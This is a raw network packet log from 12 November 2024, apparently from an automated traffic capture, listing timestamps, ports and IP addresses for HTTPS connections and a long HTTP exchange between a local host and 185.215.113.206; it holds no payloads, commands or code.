Nov 12, 2024 02:13:17.907850981 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.907857895 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.913430929 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.913502932 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.913513899 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.919491053 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.919552088 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.919560909 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.925591946 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.925673008 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.925679922 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.925745964 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.925826073 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.925832987 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.926872969 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.926914930 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.926970959 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.938051939 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:17.938093901 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:17.938258886 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:17.941128016 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:17.941143036 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:18.111357927 CET	443	49749	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:18.111717939 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:18.111737967 CET	443	49749	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:18.112729073 CET	443	49749	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:18.112812042 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:18.113087893 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:18.113152981 CET	443	49749	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:18.154891968 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:18.154913902 CET	443	49749	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:18.199331045 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:18.312794924 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.313150883 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.313174009 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.313540936 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.313620090 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.314253092 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.314310074 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.315325975 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.315392971 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.315529108 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.315536976 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.315586090 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.355441093 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.355454922 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.376065016 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.376138926 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.381767988 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.381783009 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.382024050 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.419969082 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.463335991 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.595343113 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.636683941 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.636712074 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.638283014 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.638323069 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:18.638432026 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:18.662050009 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.662219048 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.662239075 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.662249088 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.662358999 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.662385941 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.662430048 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.703078985 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.703098059 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:18.703202009 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.703428984 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:18.703438997 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:19.190788984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:19.190860987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:19.350055933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:19.350152016 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:19.354876995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:19.354928017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:19.354959011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:19.381133080 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:19.415649891 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:19.415724993 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:19.418661118 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:19.418668032 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:19.418878078 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:19.469438076 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:19.551506996 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:19.551573992 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:19.552838087 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:19.552844048 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:19.553062916 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:19.554286003 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:19.599339962 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:19.798830032 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:19.798882008 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:19.799036026 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:19.799664974 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:19.799678087 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:19.799694061 CET	49757	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:19.799699068 CET	443	49757	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:20.104559898 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:20.136581898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:20.136635065 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:20.147330046 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.156172991 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:20.161005974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:20.477859020 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.477888107 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.477895021 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.477906942 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.477941990 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:20.477945089 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.477969885 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.477982044 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:20.477996111 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:20.478017092 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:20.478822947 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.478885889 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:20.478893042 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.531923056 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:20.602474928 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.602529049 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:20.602596998 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:20.964519024 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:20.964581013 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:21.135582924 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:21.135598898 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:21.135651112 CET	49756	443	192.168.2.4	4.175.87.197
Nov 12, 2024 02:13:21.135657072 CET	443	49756	4.175.87.197	192.168.2.4
Nov 12, 2024 02:13:21.380959988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:21.385824919 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.159519911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.159590006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.376267910 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.381134987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662358046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662381887 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662395000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662410975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662424088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662434101 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.662467003 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.662467003 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.662487984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662499905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662512064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662524939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.662527084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662540913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.662540913 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.662558079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.662573099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.662586927 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.663166046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.663191080 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.663213015 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.663233995 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.825258017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.825273037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.825293064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.825320959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.825334072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.825340986 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.825371027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.825395107 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.825683117 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.825701952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.825714111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.825748920 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.825778961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.826093912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826109886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826123953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826138020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826147079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.826176882 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.826694965 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826709986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826721907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826730967 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.826735020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826750040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.826761961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.826788902 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.827513933 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.827528000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.827552080 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.827552080 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.827567101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.827578068 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.827581882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.827585936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.827603102 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.827624083 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.828341007 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.828356981 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.828368902 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.828377962 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.828399897 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989206076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989219904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989278078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989300013 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989362955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989367008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989381075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989389896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989403963 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989420891 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989473104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989507914 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989510059 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989542961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989568949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989609003 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989633083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989646912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989686966 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989813089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989856958 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.989898920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989928961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989943027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989974976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.989979029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.990011930 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.990262032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990307093 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.990319014 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990331888 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990350008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990360975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990362883 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.990374088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990377903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.990386009 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.990415096 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.990942001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990961075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990973949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.990992069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.991003036 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.991019964 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.991024017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991035938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991045952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991063118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991069078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.991075993 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991084099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.991113901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.991928101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991940022 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991950035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991961002 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991972923 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991975069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.991983891 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.991992950 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.991995096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992007971 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992008924 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992029905 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992052078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992746115 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992786884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992799997 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992803097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992830038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992830038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992841005 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992842913 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992854118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992863894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992866993 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992876053 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992876053 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.992897987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.992924929 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:22.993649006 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:22.993695974 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.104579926 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.104594946 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.104607105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.104649067 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.104680061 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.153729916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.153745890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.153759956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.153770924 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.153784037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.153805017 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.153841972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.153995991 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154042006 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154055119 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154081106 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154088020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154100895 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154107094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154118061 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154129982 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154138088 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154150009 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154340982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154352903 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154364109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154385090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154408932 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154411077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154422998 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154434919 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154445887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154454947 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154470921 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154613972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154628038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154639959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154652119 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154660940 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154678106 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154892921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154906034 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154932976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154937983 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154949903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154951096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154964924 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154972076 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154982090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.154985905 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.154995918 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155020952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155227900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155240059 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155257940 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155275106 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155292034 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155369043 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155381918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155394077 CET	80	49755	185.215.113.206	192.168.2.4
